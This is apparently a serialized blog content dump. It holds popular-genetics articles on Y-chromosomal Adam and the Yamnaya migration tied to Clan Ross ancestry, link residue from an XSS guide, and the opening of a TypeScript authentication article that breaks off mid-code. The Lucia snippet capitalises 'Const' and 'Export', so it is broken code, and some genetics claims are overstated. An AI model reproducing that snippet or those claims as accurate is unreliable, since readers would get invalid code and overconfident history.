",[571,11531,573],{"href":573,"rel":11532},[575],[565,11534],{},[26,11536,581],{"id":580},[583,11538,11539,11545,11549,11555],{},[586,11540,11541],{},[571,11542,11544],{"href":11543},"/blog/sql-injection-prevention","SQL Injection Prevention: Why It's Still Happening in 2026 and How to Stop It",[586,11546,11547],{},[571,11548,6318],{"href":6317},[586,11550,11551],{},[571,11552,11554],{"href":11553},"/blog/content-security-policy-guide","Content Security Policy: Stopping XSS at the Browser Level",[586,11556,11557],{},[571,11558,11560],{"href":11559},"/blog/api-security-best-practices","API Security Best Practices: Protecting Your Endpoints in Production",[611,11562,11563],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}",{"title":84,"searchDepth":119,"depth":119,"links":11565},[11566,11567,11568,11569,11570,11571,11572,11573],{"id":10613,"depth":112,"text":10614},{"id":10644,"depth":112,"text":10645},{"id":10794,"depth":112,"text":10795},{"id":10968,"depth":112,"text":10969},{"id":11275,"depth":112,"text":11276},{"id":11351,"depth":112,"text":11352},{"id":11472,"depth":112,"text":11473},{"id":580,"depth":112,"text":581},"A developer's guide to XSS prevention — understanding reflected, stored, and DOM-based XSS, how modern frameworks protect you, and where your code is still vulnerable.",[11576,11577],"XSS prevention","cross-site scripting",{},"/blog/xss-prevention-guide",{"title":10598,"description":11574},"blog/xss-prevention-guide",[11583,11584,6334,642],"XSS","Cross-Site Scripting","mtFxzVieockg9TfsqnB07wn7J_cjHTDyb5PhTGew7_8",{"id":11587,"title":11588,"author":11589,"body":11590,"category":10308,"date":627,"description":11874,"extension":629,"featured":630,"image":631,"keywords":11875,"meta":11883,"navigation":115,"path":10270,"readTime":520,"seo":11884,"stem":11885,"tags":11886,"__hash__":11891},"blog/blog/y-chromosomal-adam-father-of-all-men.md","Y-Chromosomal Adam: The Father of Every Living Man Explained",{"name":9,"bio":9785},{"type":12,"value":11591,"toc":11865},[11592,11596,11599,11606,11619,11622,11624,11628,11631,11634,11637,11644,11655,11658,11660,11664,11667,11678,11692,11695,11698,11701,11703,11707,11710,11713,11716,11753,11756,11758,11762,11765,11772,11775,11778,11780,11784,11787,11822,11826,11829,11832,11835,11838,11840,11842,11857,11860],[26,11593,11595],{"id":11594},"the-most-common-ancestor","The Most Common Ancestor",[19,11597,11598],{},"If you are male, there is a man — one specific individual — whose Y-chromosome you carry. Not a copy. Not a parallel version. The same molecular sequence, accumulated copying errors and all, passed father to son in an unbroken chain from his body to yours, across every generation and every century and every catastrophe that stands between his lifetime and yours.",[19,11600,11601,11602,11605],{},"He is called ",[5027,11603,11604],{},"Y-chromosomal Adam",". Not the first man. Not Adam in any biblical sense. A statistical construct: the most recent common patrilineal ancestor of every male human alive today.",[19,11607,11608,11609,11612,11613,11618],{},"He lived in Africa. Somewhere between 190,000 and 300,000 years ago, depending on which study you read and which calibration of the molecular clock you trust. A 2013 study in ",[9484,11610,11611],{},"Science"," — ",[571,11614,11617],{"href":11615,"rel":11616},"https://doi.org/10.1126/science.1237947",[575],"Francalacci et al."," — pushed the estimate back significantly based on Sardinian whole Y-chromosome sequencing; subsequent studies using revised mutation rates converged on the 190,000–300,000 BP range. We will never know his name. We will never know where exactly in Africa he lived. We will never know his language, his culture, his appearance, the people he loved, or what killed him.",[19,11620,11621],{},"We know only that he existed — because every living man's Y-chromosome, when traced backward through the haplogroup tree, converges on a single point.",[565,11623],{},[26,11625,11627],{"id":11626},"what-y-chromosomal-adam-was-not","What Y-Chromosomal Adam Was Not",[19,11629,11630],{},"The popular press sometimes presents Y-chromosomal Adam as the first human male, or as the male ancestor of all humans, or as some kind of supernatural progenitor.",[19,11632,11633],{},"None of this is accurate.",[19,11635,11636],{},"Y-chromosomal Adam was not the first human. He lived long after modern humans had already existed as a species. Many other men were alive at the same time. He was not special in any observable way — not necessarily larger, stronger, more intelligent, or more reproductive than his contemporaries.",[19,11638,11639,11640,11643],{},"What made him ",[9484,11641,11642],{},"retrospectively"," significant is a combination of luck and elimination. Every male lineage except his either died out — through failure to produce surviving sons — or their Y-chromosomes were eventually overwhelmed by the reproductive success of his descendants. This is a statistical inevitability: over enough time, given random variation in reproductive success, all Y-chromosomal lineages converge to a single ancestor. That we can trace all living male Y-chromosomes back to one man doesn't mean he was exceptional. It means enough time has passed for all other lines to go extinct.",[19,11645,11646,11647,11650,11651,11654],{},"Y-chromosomal Adam is also not the ",[9484,11648,11649],{},"sole"," male ancestor of all humans. He is the sole ",[9484,11652,11653],{},"patrilineal"," ancestor — the ancestor through the direct male line. Every living human also has thousands of other male ancestors, through the maternal lines and the collateral lines. Y-chromosomal Adam simply had the particular good fortune (or his descendants did) of producing an unbroken chain of sons for hundreds of thousands of years, while the other contemporary male lineages' Y-chromosomes were eventually lost.",[19,11656,11657],{},"His autosomal DNA — the bulk of his genome — is present in every living human, spread and diluted through thousands of other ancestors. But his Y-chromosome has a direct, undiluted, father-to-son chain to every living man.",[565,11659],{},[26,11661,11663],{"id":11662},"the-scale","The Scale",[19,11665,11666],{},"To understand what Y-chromosomal Adam's timeline means, you need to feel the scale.",[19,11668,11669,11670,11673,11674,11677],{},"Consider a book where each page represents one generation — roughly 25 years. Starting with Y-chromosomal Adam at the most recent estimates (190,000 years), the book runs ",[5027,11671,11672],{},"7,600 pages",". At 300,000 years, it runs ",[5027,11675,11676],{},"12,000 pages"," — thirty thick volumes.",[19,11679,11680,11681,11684,11685,11688,11689,393],{},"The entire history of writing — from the earliest Sumerian tablets to the present — occupies the last ",[5027,11682,11683],{},"200 pages"," of that 12,000-page book. The recorded history of Scotland occupies perhaps ",[5027,11686,11687],{},"160 pages",". Clan Ross, from the first Earl of Ross in 1215 to the present, occupies ",[5027,11690,11691],{},"32 pages",[19,11693,11694],{},"For the first 11,800 pages, nothing happened that any written record preserves. The pages carry only mutations — the occasional copying error that adds a branch to the haplogroup tree, the occasional extinction that prunes one. Through those 11,800 pages, your ancestors — every one of them — managed to have at least one surviving son. A thousand times the chain almost broke and didn't. A thousand rolls of the dice that came up right.",[19,11696,11697],{},"That is what being a descendant of Y-chromosomal Adam means. Not that you are special. That the chain from him to you never broke.",[19,11699,11700],{},"Not once. In 190,000 to 300,000 years.",[565,11702],{},[26,11704,11706],{"id":11705},"the-haplogroup-tree","The Haplogroup Tree",[19,11708,11709],{},"From Y-chromosomal Adam, the Y-chromosome tree branches. The oldest branches — haplogroups A and B — stayed in Africa. The Khoisan peoples of southern Africa carry the deepest-branching Y-chromosome lineages, closest to the root of the tree. This does not make them more \"primitive\" — a misunderstanding that needs correcting every time it surfaces — but means they branched from the trunk earlier, before the Out of Africa migrations.",[19,11711,11712],{},"The journey out of Africa began with haplogroup CT — a branch that crossed from northeast Africa into the Near East, probably through the Sinai Peninsula or across the Bab-el-Mandeb strait at the southern end of the Red Sea. This Out of Africa event — the dispersal that populated the rest of the world — was not a single moment but a process, probably occurring in pulses over tens of thousands of years.",[19,11714,11715],{},"From CT, the tree diversifies dramatically:",[583,11717,11718,11724,11730,11736,11742,11748],{},[586,11719,11720,11723],{},[5027,11721,11722],{},"C"," reaches Australia, East Asia, the Pacific",[586,11725,11726,11729],{},[5027,11727,11728],{},"D"," reaches Japan and the Himalayas",[586,11731,11732,11735],{},[5027,11733,11734],{},"G"," settles in the Caucasus and Middle East",[586,11737,11738,11741],{},[5027,11739,11740],{},"I"," dominates Scandinavia and the Western Balkans",[586,11743,11744,11747],{},[5027,11745,11746],{},"J"," characterizes Semitic and other Near Eastern populations",[586,11749,11750,11752],{},[5027,11751,10105],{}," — the branch that leads to R1b-L21 — emerges roughly 28,000 years ago in Central Asia",[19,11754,11755],{},"Each branch is a population. Each population is a dispersal. The tree is the record of humanity's expansion across the planet, written in copying errors that no one intended and everyone preserved.",[565,11757],{},[26,11759,11761],{"id":11760},"where-your-haplogroup-fits","Where Your Haplogroup Fits",[19,11763,11764],{},"When a Y-DNA test returns a result — say, R1b-L21 for a man of Highland Scottish ancestry, or E-V13 for a man of North African origin, or I2-M223 for a man from the western Balkans — it is placing him in the haplogroup tree, identifying which branch of Y-chromosomal Adam's descent he occupies.",[19,11766,11767,11768,11771],{},"Every man on earth shares a common ancestor in Y-chromosomal Adam. But the last ",[9484,11769,11770],{},"common"," ancestor of two men from different haplogroups might be 50,000, 100,000, or even 200,000 years ago — far enough back that \"common ancestor\" means very little genealogically.",[19,11773,11774],{},"For men within the same haplogroup, the convergence is more recent. Two men who both carry R1b-L21 share a common Y-chromosomal ancestor who lived perhaps 3,500 to 4,500 years ago — the founding ancestor of the L21 clade. Two men who carry the same sub-clade within L21 share a more recent ancestor still.",[19,11776,11777],{},"The haplogroup tree is a framework for understanding how distant or recent the patrilineal connection is between any two men.",[565,11779],{},[26,11781,11783],{"id":11782},"y-chromosomal-adam-and-the-ross-patriline","Y-Chromosomal Adam and the Ross Patriline",[19,11785,11786],{},"The haplogroup string of the Ross patriline — R1b-L21 — places it in a specific location on the tree. Working backward from the present:",[583,11788,11789,11795,11801,11807,11813,11819],{},[586,11790,11791,11794],{},[5027,11792,11793],{},"L21"," (~3,500–4,500 years ago): the Atlantic Celtic marker, the men who arrived in Ireland and Scotland with the Bell Beaker expansion",[586,11796,11797,11800],{},[5027,11798,11799],{},"P312"," (~4,500–5,000 years ago): the Western European marker, part of the Bell Beaker spread through Atlantic Europe",[586,11802,11803,11806],{},[5027,11804,11805],{},"M269"," (~6,000–7,000 years ago): the core Western European R1b marker, associated with the Yamnaya expansion from the Steppe",[586,11808,11809,11812],{},[5027,11810,11811],{},"M343"," (~22,000 years ago): R1b, the western branch; surviving the Last Glacial Maximum",[586,11814,11815,11818],{},[5027,11816,11817],{},"M207"," (~28,000 years ago): haplogroup R, the founding mutation",[586,11820,11821],{},"Through P, K, F, CT and all the way back to...",[19,11823,11824,393],{},[5027,11825,11604],{},[19,11827,11828],{},"The chain from Y-chromosomal Adam to a Ross man alive today is 190,000 to 300,000 years of unbroken patrilineal descent. Every mutation in the string — R, R1, R1b, M269, P312, L21 and its subclades — is a chapter heading in that book.",[19,11830,11831],{},"Most of those chapters are nameless. The haplogroup tree gives dates and locations but not individuals. Only in the last thousand years — the last three to four pages of the 12,000-page book — do individual names appear in the documentary record.",[19,11833,11834],{},"But the chain doesn't begin with the documents. It begins with a man in Africa, 190,000 to 300,000 years ago, whose Y-chromosome copied with an error that every subsequent male human inherited.",[19,11836,11837],{},"That man is your ancestor. Mine. Every living man's.",[565,11839],{},[26,11841,10257],{"id":10256},[583,11843,11844,11849,11853],{},[586,11845,11846],{},[571,11847,11848],{"href":10319},"What Is Genetic Genealogy? A Beginner's Guide to DNA Ancestry Research",[586,11850,11851],{},[571,11852,10277],{"href":10276},[586,11854,11855],{},[571,11856,10265],{"href":10264},[19,11858,11859],{},"We don't know his name. We carry his mutation.",[19,11861,11862],{},[571,11863,11864],{"href":10291},"The full journey from Y-chromosomal Adam to Clan Ross — mutation by mutation, chapter by chapter — is the argument of The Forge of Tongues: 22,000 Years of Migration, Mutation, and Memory.",{"title":84,"searchDepth":119,"depth":119,"links":11866},[11867,11868,11869,11870,11871,11872,11873],{"id":11594,"depth":112,"text":11595},{"id":11626,"depth":112,"text":11627},{"id":11662,"depth":112,"text":11663},{"id":11705,"depth":112,"text":11706},{"id":11760,"depth":112,"text":11761},{"id":11782,"depth":112,"text":11783},{"id":10256,"depth":112,"text":10257},"Every male human alive today traces their Y-chromosome back to a single man who lived in Africa roughly 190,000–300,000 years ago. He's called Y-chromosomal Adam. Here's who he was, what he wasn't, and what his existence means for genealogy.",[11876,11877,11878,11879,11880,11881,11882],"y chromosomal adam","y chromosomal adam explained","father of all men genetics","y chromosome ancestry","human origins genetics","oldest human ancestor dna","genetic genealogy beginners",{},{"title":11588,"description":11874},"blog/y-chromosomal-adam-father-of-all-men",[11887,10323,11888,10327,11889,11890],"Y-Chromosomal Adam","Human Origins","DNA Ancestry","Human Evolution","EqjuDLWBd2YpG5XrEGLtklM8R93tsaYo3_AKNHELdqE",{"id":11893,"title":10277,"author":11894,"body":11895,"category":10308,"date":627,"description":12312,"extension":629,"featured":630,"image":631,"keywords":12313,"meta":12321,"navigation":115,"path":10276,"readTime":815,"seo":12322,"stem":12323,"tags":12324,"__hash__":12329},"blog/blog/yamnaya-horizon-steppe-ancestors.md",{"name":9,"bio":9785},{"type":12,"value":11896,"toc":12301},[11897,11901,11917,11920,11927,11933,11936,11938,11942,11957,11960,11966,11972,11978,11984,11994,11996,12000,12009,12015,12021,12027,12030,12032,12036,12043,12046,12066,12068,12072,12079,12082,12085,12088,12095,12098,12100,12104,12107,12114,12117,12120,12122,12126,12132,12156,12163,12166,12168,12172,12264,12267,12270,12272,12274,12296],[26,11898,11900],{"id":11899},"the-bronze-age-bombshell","The Bronze Age Bombshell",[19,11902,11903,11904,11907,11908,11913,11914,11916],{},"In 2015, a paper published in ",[9484,11905,11906],{},"Nature"," by Wolfgang Haak and a team of 90 researchers dropped a bombshell on European prehistory. The paper — ",[571,11909,11912],{"href":11910,"rel":11911},"https://doi.org/10.1038/nature14317",[575],"\"Massive migration from the steppe was a source for Indo-European languages in Europe\""," (Haak et al., ",[9484,11915,11906],{}," 522, 2015) — used ancient DNA extracted from 69 Bronze Age skeletons to demonstrate something that archaeologists had long debated and geneticists had just proved:",[19,11918,11919],{},"Europe was not always European.",[19,11921,11922,11923,11926],{},"Specifically: the genetic profile of Neolithic farming Europe — the people who built the megalithic monuments, who domesticated cattle and wheat, who established the first villages — was almost entirely overwritten around 3,000 to 2,500 BC by migrants from the ",[5027,11924,11925],{},"Pontic-Caspian Steppe",". The male lineage of Neolithic Europe was replaced with such thoroughness that today, over eighty percent of Irish men, over eighty percent of Welsh men, and comparable proportions of men in Scotland, Iberia, and France carry a Y-chromosome haplogroup that did not exist in those places before the Bronze Age.",[19,11928,11929,11930,11932],{},"The Steppe migrants carried ",[5027,11931,10111],{},". The Neolithic farmers carried I2, G2a, and others. After the Bronze Age transition, R1b dominated. The others shrank to remnant frequencies.",[19,11934,11935],{},"This was not gradual cultural diffusion. The speed and completeness of the male-lineage replacement points to something historians have long been reluctant to say plainly: conquest.",[565,11937],{},[26,11939,11941],{"id":11940},"the-yamnaya-culture","The Yamnaya Culture",[19,11943,11944,11945,11948,11949,11952,11953,11956],{},"The primary Steppe population behind this transformation is known to archaeologists as the ",[5027,11946,11947],{},"Yamnaya"," — from the Russian ",[9484,11950,11951],{},"yam",", meaning pit, for their characteristic burial style of pit graves beneath earthen mounds called ",[9484,11954,11955],{},"kurgans",". The Yamnaya culture flourished on the Pontic-Caspian Steppe — the vast grassland stretching from the Danube delta in the west to the Ural Mountains in the east — between roughly 3300 and 2600 BC.",[19,11958,11959],{},"What defined the Yamnaya was not a single military campaign but a cluster of technological and social advantages that compounded over generations:",[19,11961,11962,11965],{},[5027,11963,11964],{},"The horse."," The Yamnaya were among the first populations to ride horses — not just for meat and haulage, but for mounted mobility. A horse-rider can range five to ten times further than a walker. In steppe conditions, mobility is survival.",[19,11967,11968,11971],{},[5027,11969,11970],{},"The wheel."," Wheeled vehicles appear in the Pontic-Caspian Steppe around the same period, allowing heavy loads — including entire households — to move across the landscape. The Yamnaya were mobile pastoralists who could relocate with the seasons and the herds.",[19,11973,11974,11977],{},[5027,11975,11976],{},"The cattle economy."," Yamnaya subsistence combined cattle herding with opportunistic hunting and fishing. A cattle economy produces both calories and a tradeable surplus — wealth that can accumulate, be transferred, and underpin hierarchies.",[19,11979,11980,11983],{},[5027,11981,11982],{},"Dairy adaptation."," The lactase persistence mutation — the ability to digest milk as an adult — spread rapidly among Steppe-derived populations. Adult dairy consumption dramatically increases the caloric yield from a herd. This is a metabolic advantage in a pastoralist economy.",[19,11985,11986,11989,11990,11993],{},[5027,11987,11988],{},"The language."," The Yamnaya spoke an early form of ",[5027,11991,11992],{},"Proto-Indo-European"," — the reconstructed ancestral language from which Greek, Latin, Sanskrit, Persian, Welsh, Gaelic, and most other European and many Asian languages derive. Language spread with migration, and migration spread the language.",[565,11995],{},[26,11997,11999],{"id":11998},"what-the-ancient-dna-found","What the Ancient DNA Found",[19,12001,12002,12003,12008],{},"The ancient DNA studies — Haak et al. 2015, ",[571,12004,12007],{"href":12005,"rel":12006},"https://doi.org/10.1038/nature16152",[575],"Mathieson et al. 2015",", and a growing body of subsequent research — found that the Bronze Age transformation of European genetics followed a specific pattern:",[19,12010,12011,12014],{},[5027,12012,12013],{},"The Neolithic populations"," (farmers who had spread from Anatolia to Europe starting around 6,000 BC) carried predominantly haplogroups G2a, I2, and related markers on the Y-chromosome. These are the farmers who built Stonehenge's predecessors, who erected the megalithic monuments of Carnac, who traded across the Atlantic coast of Europe.",[19,12016,12017,12020],{},[5027,12018,12019],{},"The Yamnaya"," carried predominantly haplogroup R1b-M269 — specifically the subclade that would diversify into R1b-L11, R1b-P312, R1b-L21, and the other markers that today characterize Celtic and Germanic Western European populations.",[19,12022,12023,12026],{},[5027,12024,12025],{},"After the Bronze Age transition",", the Y-chromosome frequency shifted dramatically. In ancient British samples from after approximately 2,500 BC, R1b suddenly dominates — representing perhaps eighty to ninety percent of male lineages. The previous G2a and I2 lineages almost vanish.",[19,12028,12029],{},"The male-lineage replacement was near-complete. Neolithic Europe's men didn't just decline — they were effectively replaced. Women from Neolithic populations contributed to the subsequent gene pool (mitochondrial DNA shows more continuity than Y-chromosomal DNA), suggesting the replacement was gendered: incoming males paired with local females, and the existing male population's reproductive success collapsed.",[565,12031],{},[26,12033,12035],{"id":12034},"the-corded-ware-connection","The Corded Ware Connection",[19,12037,12038,12039,12042],{},"The Yamnaya expansion didn't flow directly to Western Europe. It went west and north through a cultural successor: the ",[5027,12040,12041],{},"Corded Ware culture",", named for the cord-impressed decoration on their pottery, which spread across Central and Northern Europe between roughly 2,900 and 2,400 BC.",[19,12044,12045],{},"Corded Ware people were genetically very similar to the Yamnaya — heavily Steppe-derived — and carried R1b and R1a in high frequencies. They are the vector through which Steppe ancestry reached Germany, Scandinavia, and much of Central Europe. From the Corded Ware horizon, the Steppe ancestry flowed in multiple directions:",[583,12047,12048,12054,12060],{},[586,12049,12050,12053],{},[5027,12051,12052],{},"North"," into Scandinavia, where it would become the substrate of Germanic and Nordic populations",[586,12055,12056,12059],{},[5027,12057,12058],{},"East"," toward Central Asia with R1a, the marker of the Indo-Iranian and Slavic branches",[586,12061,12062,12065],{},[5027,12063,12064],{},"West"," eventually reaching the Bell Beaker phenomenon and the Atlantic fringe",[565,12067],{},[26,12069,12071],{"id":12070},"the-bell-beaker-corridor-to-the-west","The Bell Beaker Corridor to the West",[19,12073,12074,12075,12078],{},"The pathway from the Steppe to Ireland and Scotland ran through the ",[5027,12076,12077],{},"Bell Beaker"," archaeological complex — named for the distinctive bell-shaped pottery found across a vast swathe of Europe from Hungary to Ireland between approximately 2,800 and 1,800 BC.",[19,12080,12081],{},"Bell Beaker people carried R1b-L21 and related P312 markers with high frequency. Their expansion moved the Steppe genetic legacy into Iberia, France, Britain, and Ireland through a corridor that ran along the Atlantic coast.",[19,12083,12084],{},"In Ireland, the arrival of R1b-L21 around 2,500 BC corresponds to one of the most dramatic genetic transitions in the ancient DNA record. Pre-Beaker Irish populations carried mostly I2 and related markers. Post-Beaker Irish populations are overwhelmingly R1b-L21.",[19,12086,12087],{},"The male lineage of the Irish Neolithic was replaced in a few centuries.",[19,12089,12090,12091,12094],{},"This is the genetic event the ",[9484,12092,12093],{},"Lebor Gabála Érenn"," — the Irish Book of Invasions — preserves in mythological form as the invasion of the sons of Míl Espáine, the Soldier of Spain, who conquered Ireland and founded the dynasties.",[19,12096,12097],{},"The myth got the route right. The DNA confirmed it.",[565,12099],{},[26,12101,12103],{"id":12102},"what-happened-to-the-neolithic-europeans","What Happened to the Neolithic Europeans?",[19,12105,12106],{},"The Neolithic farmers who built the megalithic monuments of Europe didn't disappear entirely. Their autosomal DNA — the non-sex-chromosome genome — persists in modern European populations at roughly ten to thirty percent, depending on location. Their mitochondrial DNA (the maternal line) survived in much higher frequency than their Y-chromosomes.",[19,12108,12109,12110,12113],{},"What was replaced was the ",[5027,12111,12112],{},"male-line succession"," — the patrilineal descent chains that, in pastoralist societies, governed property, leadership, and kinship. The women's mitochondrial lineages survived; the men's Y-chromosomes did not.",[19,12115,12116],{},"What this means for modern Europeans is that almost everyone of western European ancestry carries a genetic profile that blends Steppe ancestry, Neolithic farmer ancestry, and the ancient hunter-gatherer populations of Paleolithic Europe. The proportions vary by location. Ireland and Scotland have high Steppe ancestry. The Basque Country has a distinctive profile (very high R1b but minimal Steppe-specific mitochondrial ancestry). The Balkans and Eastern Europe show different balances.",[19,12118,12119],{},"No one is \"purely\" anything. The palimpsest runs back to the Ice Age.",[565,12121],{},[26,12123,12125],{"id":12124},"the-yamnaya-and-the-ross-line","The Yamnaya and the Ross Line",[19,12127,12128,12129,12131],{},"The Y-chromosome test of James R. Ross Jr. — haplogroup ",[5027,12130,10123],{}," — traces directly to this Yamnaya expansion. Following the mutation chain backward:",[583,12133,12134,12139,12145,12150],{},[586,12135,12136,12138],{},[5027,12137,10123],{}," → the Atlantic Celtic marker, dominant in Irish and Scottish Highlands",[586,12140,12141,12144],{},[5027,12142,12143],{},"R1b-P312"," → the broader Western European marker, splitting from L21's sister clades",[586,12146,12147,12149],{},[5027,12148,10117],{}," → the full Western European haplogroup, arising on the Steppe c. 6,500 BP",[586,12151,12152,12155],{},[5027,12153,12154],{},"R1b-M343"," → the R1b root mutation, arising c. 22,000 years ago during the Last Glacial Maximum",[19,12157,12158,12159,12162],{},"Each layer is a chapter in a book 22,000 years long. The Yamnaya are Chapters 4 through 7 in ",[9484,12160,12161],{},"The Forge of Tongues"," — the explosive middle section where the lineage turns from a small steppe population into the dominant male genetic signature of Western Europe.",[19,12164,12165],{},"For anyone carrying R1b-L21 today — whether their surname is Ross, O'Neill, MacDonald, or Jones — the Yamnaya are your patrilineal ancestors. The horsemen of the Pontic-Caspian Steppe are your oldest grandfathers.",[565,12167],{},[26,12169,12171],{"id":12170},"key-facts-the-yamnaya","Key Facts: The Yamnaya",[9956,12173,12174,12182],{},[9959,12175,12176],{},[9962,12177,12178,12180],{},[9965,12179],{},[9965,12181],{},[9972,12183,12184,12194,12204,12214,12224,12234,12244,12254],{},[9962,12185,12186,12191],{},[9977,12187,12188],{},[5027,12189,12190],{},"Culture",[9977,12192,12193],{},"Yamnaya (also: Pit Grave culture)",[9962,12195,12196,12201],{},[9977,12197,12198],{},[5027,12199,12200],{},"Period",[9977,12202,12203],{},"c. 3300–2600 BC",[9962,12205,12206,12211],{},[9977,12207,12208],{},[5027,12209,12210],{},"Territory",[9977,12212,12213],{},"Pontic-Caspian Steppe (modern Ukraine, Russia, Kazakhstan)",[9962,12215,12216,12221],{},[9977,12217,12218],{},[5027,12219,12220],{},"Y-chromosome",[9977,12222,12223],{},"Predominantly R1b-M269",[9962,12225,12226,12231],{},[9977,12227,12228],{},[5027,12229,12230],{},"Language",[9977,12232,12233],{},"Proto-Indo-European (reconstructed ancestor of 400+ languages)",[9962,12235,12236,12241],{},[9977,12237,12238],{},[5027,12239,12240],{},"Key technologies",[9977,12242,12243],{},"Horse riding, wheeled vehicles, cattle economy, dairy",[9962,12245,12246,12251],{},[9977,12247,12248],{},[5027,12249,12250],{},"Expansion",[9977,12252,12253],{},"West via Corded Ware; Northwest via Bell Beaker",[9962,12255,12256,12261],{},[9977,12257,12258],{},[5027,12259,12260],{},"Result",[9977,12262,12263],{},"Near-total male-lineage replacement in Western Europe by c. 2000 BC",[19,12265,12266],{},"The Yamnaya horizon is the genetic Big Bang of Western European ancestry. Everything that came after — the Celtic languages, the Highland clans, the Irish royal genealogies — rests on a foundation that was laid by horsemen whose names we will never know, speaking a language whose daughter tongues now number in the hundreds.",[19,12268,12269],{},"They rode west. They kept going. And their Y-chromosomes are still here.",[565,12271],{},[26,12273,10257],{"id":10256},[583,12275,12276,12282,12286,12290],{},[586,12277,12278],{},[571,12279,12281],{"href":12280},"/blog/bell-beaker-conquest-ireland-britain","The Bell Beaker Conquest: How Bronze Age Migrants Replaced Ireland's Men",[586,12283,12284],{},[571,12285,10265],{"href":10264},[586,12287,12288],{},[571,12289,10271],{"href":10270},[586,12291,12292],{},[571,12293,12295],{"href":12294},"/blog/lebor-gabala-erenn-book-of-invasions","Lebor Gabála Érenn: The Book of Invasions and What the DNA Says",[19,12297,12298],{},[571,12299,12300],{"href":10291},"The full story of the Yamnaya expansion and its connection to Clan Ross is told in The Forge of Tongues: 22,000 Years of Migration, Mutation, and Memory.",{"title":84,"searchDepth":119,"depth":119,"links":12302},[12303,12304,12305,12306,12307,12308,12309,12310,12311],{"id":11899,"depth":112,"text":11900},{"id":11940,"depth":112,"text":11941},{"id":11998,"depth":112,"text":11999},{"id":12034,"depth":112,"text":12035},{"id":12070,"depth":112,"text":12071},{"id":12102,"depth":112,"text":12103},{"id":12124,"depth":112,"text":12125},{"id":12170,"depth":112,"text":12171},{"id":10256,"depth":112,"text":10257},"Around 3,000 BC, a population of horse-riding pastoralists from the Pontic-Caspian Steppe swept into Europe and replaced the male lineage of the existing inhabitants almost entirely. Here's what the ancient DNA says about who they were and what they did.",[12314,12315,12316,12317,12318,12319,12320],"yamnaya","yamnaya horizon","yamnaya people dna","steppe ancestry europe","bronze age migration europe","indo-european origin","r1b haplogroup origin",{},{"title":10277,"description":12312},"blog/yamnaya-horizon-steppe-ancestors",[11947,12325,12326,10323,12327,12328],"Steppe Ancestry","Bronze Age Europe","R1b Haplogroup","Indo-European","-0fYV2BSakh0AaGMtRcK7hfiJNbfilaKJq-mgNzy-eo",{"id":12331,"title":12332,"author":12333,"body":12334,"category":6334,"date":13107,"description":13108,"extension":629,"featured":630,"image":631,"keywords":13109,"meta":13115,"navigation":115,"path":13116,"readTime":858,"seo":13117,"stem":13118,"tags":13119,"__hash__":13124},"blog/blog/modern-auth-typescript-2026.md","Modern Authentication in TypeScript: Lucia, Better-Auth, and When to Roll Your Own",{"name":9,"bio":10},{"type":12,"value":12335,"toc":13091},[12336,12339,12342,12345,12349,12352,12355,12358,12369,12372,12376,12379,12382,12385,12388,12652,12673,12676,12680,12683,12932,12935,12938,12942,12945,12948,12951,12954,12958,12961,12964,12972,12975,12979,12982,12986,12992,12996,13002,13006,13012,13016,13033,13037,13043,13047,13050,13053,13061,13064,13066,13068,13088],[15,12337,12332],{"id":12338},"modern-authentication-in-typescript-lucia-better-auth-and-when-to-roll-your-own",[19,12340,12341],{},"Authentication is the kind of problem that looks simple until you are three days into implementing password reset flows and realize you have not considered session invalidation across devices, CSRF protection on your token endpoint, or what happens when your database goes down mid-authentication. Every team underestimates it, and the ones that recover fastest are the ones who picked the right library early.",[19,12343,12344],{},"The TypeScript authentication landscape in 2026 is better than it has ever been. But \"better\" does not mean \"obvious.\" There are at least four credible approaches, each with real tradeoffs. I have used all of them in production. Here is what I have learned.",[26,12346,12348],{"id":12347},"the-authentication-landscape-in-2026","The Authentication Landscape in 2026",[19,12350,12351],{},"Three things have shifted the ground under authentication in the last two years.",[19,12353,12354],{},"First, passkeys have gone from interesting demo to production-ready default. WebAuthn browser support is effectively universal, and users are increasingly expecting passwordless options. Any auth solution you pick needs to support passkeys natively or get out of the way so you can add them.",[19,12356,12357],{},"Second, the compliance landscape has tightened. GDPR enforcement actions are up. SOC 2 audits are asking detailed questions about session management. If you are building anything that handles user data — which is everything — your authentication layer is going to be scrutinized. The days of shipping a bcrypt-and-JWT stack with no audit trail are numbered.",[19,12359,12360,12361,12364,12365,12368],{},"Third, the TypeScript ecosystem has matured to the point where type-safe authentication is a reasonable expectation. You should not be casting ",[40,12362,12363],{},"req.user"," to ",[40,12366,12367],{},"any"," in 2026. Your auth library should give you typed sessions, typed user objects, and compile-time guarantees that you are checking authentication before accessing protected data.",[19,12370,12371],{},"With that context, let us look at the options.",[26,12373,12375],{"id":12374},"lucia-the-library-that-gives-you-control","Lucia: The Library That Gives You Control",[19,12377,12378],{},"Lucia is session-based authentication that stays out of your way. It handles session creation, validation, and invalidation. It does not handle OAuth flows, password hashing, email verification, or anything else. You build those yourself, using Lucia's sessions as the foundation.",[19,12380,12381],{},"This sounds like more work, and it is. But it is the right kind of work for certain projects.",[19,12383,12384],{},"Lucia is database-agnostic — you provide an adapter for your database, and it stores sessions wherever you want. PostgreSQL, SQLite, MongoDB, Turso, it does not care. This is critical if you have an existing database schema that you cannot reshape around an auth library's opinions.",[19,12386,12387],{},"Here is what a Lucia session setup looks like in practice:",[79,12389,12391],{"className":81,"code":12390,"language":83,"meta":84,"style":84},"import { Lucia } from \"lucia\";\nimport { PrismaAdapter } from \"@lucia-auth/adapter-prisma\";\nimport { prisma } from \"./db\";\n\nConst adapter = new PrismaAdapter(prisma.session, prisma.user);\n\nExport const lucia = new Lucia(adapter, {\n sessionCookie: {\n attributes: {\n secure: 